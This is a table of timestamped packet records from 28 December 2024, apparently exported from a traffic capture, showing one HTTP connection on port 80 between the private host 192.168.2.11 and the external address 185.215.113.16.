Dec 28, 2024 09:56:57.616832018 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.616951942 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:57.617770910 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.617875099 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.617932081 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:57.618927956 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.619023085 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.619071960 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:57.619976997 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.620022058 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.620099068 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:57.620987892 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.621095896 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.621143103 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:57.622054100 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.622153997 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.622215986 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:57.623084068 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.623198986 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.623239994 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:57.624171019 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.624281883 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.624434948 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:57.625240088 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.625278950 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.625359058 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:57.626209974 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:57.677977085 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:57.928896904 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:57.940354109 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.048567057 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.048626900 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.048693895 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.049053907 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.049192905 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.050326109 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.060005903 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.060038090 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.060153008 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.060481071 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.060586929 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.061556101 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.061594963 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.061599016 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.061645031 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.062606096 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.062738895 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.063489914 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.063698053 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.063797951 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.063843012 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.064739943 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.064862013 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.065615892 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.065778971 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.065937042 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.066041946 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.066821098 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.066947937 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.066996098 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.067898035 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.068063021 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.068133116 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.068955898 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.069083929 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.069142103 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.070007086 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.070175886 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.070219040 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.071078062 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.071182013 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.071249008 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.072139025 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.072253942 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.072299004 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.073194027 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.073312044 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.073436975 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.074270964 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.074394941 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.074436903 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.075326920 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.075407982 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.075457096 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.076383114 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.076493025 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.076539993 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.077512980 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.077596903 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.078514099 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.078560114 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.078619957 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.078655005 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.079591990 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.079612970 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.080228090 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.080755949 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.080873966 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.080915928 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.081743956 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.081840038 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.082035065 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.082762003 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.082878113 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.082923889 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.083842993 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.083971024 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.084007978 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.084924936 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.085124016 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.085231066 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.085277081 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.086196899 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.086240053 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.086344004 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.087294102 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.087393999 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.087429047 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.088315964 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.088363886 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.088432074 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.089382887 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.089421034 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.089484930 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.090442896 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.090487957 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.090540886 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.091515064 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.091598988 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.091614962 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.092542887 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.092583895 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.092672110 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.093750000 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.093858957 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.093903065 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.094666958 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.094728947 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.094789028 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.095751047 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.095808029 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.095850945 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.096808910 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.096925020 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.096957922 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.097867966 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.097904921 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.097996950 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.098943949 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.099014044 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.099127054 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.099978924 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.100035906 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.100114107 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.101102114 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.101145983 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.101161003 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.102092028 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.102224112 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.102286100 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.103163004 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.103269100 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.103348017 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.104235888 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.104280949 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.104343891 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.105298996 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.105365038 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.105400085 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.106357098 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.106399059 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.106442928 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.107415915 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.107456923 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.107630968 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.108485937 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.108557940 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.108613968 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.109592915 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.109688044 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.109725952 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.110608101 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.110688925 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.110771894 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.111661911 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.111715078 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.111835003 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.112704992 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.112826109 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.112833977 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.113790035 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.113850117 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.113883018 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.114980936 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.115030050 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.115073919 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.115901947 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.116003990 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.116003990 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.116955996 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.117043018 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.117057085 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.118005991 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.118053913 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.118122101 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.119081020 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.119180918 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.119261026 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.120163918 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.120234013 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.120259047 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.121217966 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.121248960 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.121285915 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.122272968 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.122402906 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.122407913 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.123337984 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.123378038 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.123424053 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.124497890 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.124514103 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.124552011 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.125473976 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.125525951 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.125565052 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.126518011 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.126614094 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.126656055 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.127572060 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.127700090 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.127741098 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.128664017 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.128741980 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.128751993 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.129726887 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.129834890 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.129874945 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.130870104 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.130924940 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.130978107 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.131829977 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.131911993 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.131937981 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.132901907 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.132953882 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.132996082 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.133946896 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.133989096 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.134085894 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.134988070 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.135035038 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.135081053 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.136079073 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.136202097 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.136231899 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.137115002 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.137183905 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.137188911 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.138190985 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.138313055 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.138351917 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.139250040 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.139291048 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.139353037 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.140305996 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.140402079 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.140443087 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.141359091 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.141417980 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.141480923 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.142446041 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.142492056 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.142551899 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.143492937 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.143554926 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.143589973 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.144560099 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.144625902 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.144654036 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.145628929 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.145685911 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.145831108 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.146698952 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.146768093 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.146857023 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.147762060 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.147797108 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.147865057 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.148832083 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.148865938 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.148868084 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.149864912 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.149907112 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.150062084 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.150926113 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.151035070 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.151309967 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.152081013 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.152127981 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.152211905 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.153412104 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.153489113 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.153496027 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.154613972 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.154695034 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.154712915 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.155869961 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.155931950 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.155977964 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.156511068 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.156590939 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.156629086 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.157298088 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.157327890 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.157411098 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.158334970 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.158389091 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.158442974 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.159413099 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.159455061 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.159528971 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.160495043 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.160573006 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.160659075 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.161540031 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.161648035 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.161686897 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.162576914 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.162691116 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.162735939 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.163659096 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.163695097 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.163796902 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.164731026 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.164820910 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.164876938 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.165780067 CET	80	49771	185.215.113.16	192.168.2.11
Dec 28, 2024 09:56:58.165832996 CET	49771	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:56:58.165874958 CET	80	49771	185.215.113.16	192.168.2.11
